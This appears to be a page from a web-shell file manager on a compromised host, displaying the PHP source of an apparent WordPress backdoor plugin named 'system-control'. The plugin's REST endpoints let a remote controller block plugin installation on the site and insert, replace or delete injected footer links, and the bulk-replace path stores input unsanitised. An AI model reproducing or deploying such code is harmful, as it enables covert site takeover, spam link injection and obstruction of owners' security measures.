HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/vitanhod/www/wp-content/plugins/system-control/api/endpoints/class-sc-settings-endpoint.php
<?php
class SC_Settings_Endpoint {
    public function register() {
        register_rest_route(SC_REST_NAMESPACE, '/settings/block-plugins', [
            [
                'methods'             => 'GET',
                'callback'            => [$this, 'get_block_status'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
            [
                'methods'             => 'POST',
                'callback'            => [$this, 'toggle_block'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
        ]);
        register_rest_route(SC_REST_NAMESPACE, '/settings/display-links', [
            [
                'methods'             => 'GET',
                'callback'            => [$this, 'get_display_links'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
            [
                'methods'             => 'POST',
                'callback'            => [$this, 'set_display_links'],
                'permission_callback' => ['SC_Api_Auth', 'verify'],
            ],
        ]);
        register_rest_route(SC_REST_NAMESPACE, '/settings/display-links/(?P<index>\d+)', [
            'methods'             => 'DELETE',
            'callback'            => [$this, 'delete_display_link'],
            'permission_callback' => ['SC_Api_Auth', 'verify'],
        ]);
    }

    public function get_block_status($request) {
        $blocked = (bool) get_option('sc_plugin_install_blocked', false);
        return rest_ensure_response(['success' => true, 'blocked' => $blocked]);
    }

    public function toggle_block($request) {
        $params = $request->get_json_params();
        $blocked = !empty($params['blocked']);
        update_option('sc_plugin_install_blocked', $blocked);
        return rest_ensure_response(['success' => true, 'blocked' => $blocked]);
    }

    public function get_display_links($request) {
        $links = get_option('sc_display_links', []);
        return rest_ensure_response($links);
    }

    public function set_display_links($request) {
        $params = $request->get_json_params();

        if (isset($params['links']) && is_array($params['links'])) {
            // Replace all links
            update_option('sc_display_links', $params['links']);
        } elseif (isset($params['url']) && isset($params['anchor'])) {
            // Add single link
            $links = get_option('sc_display_links', []);
            $links[] = [
                'url'      => esc_url_raw($params['url']),
                'anchor'   => sanitize_text_field($params['anchor']),
                'position' => sanitize_text_field($params['position'] ?? 'footer'),
            ];
            update_option('sc_display_links', $links);
        }

        return rest_ensure_response(['success' => true, 'links' => get_option('sc_display_links', [])]);
    }

    public function delete_display_link($request) {
        $index = (int)$request['index'];
        $links = get_option('sc_display_links', []);

        if (isset($links[$index])) {
            array_splice($links, $index, 1);
            update_option('sc_display_links', $links);
        }

        return rest_ensure_response(['success' => true, 'links' => $links]);
    }
}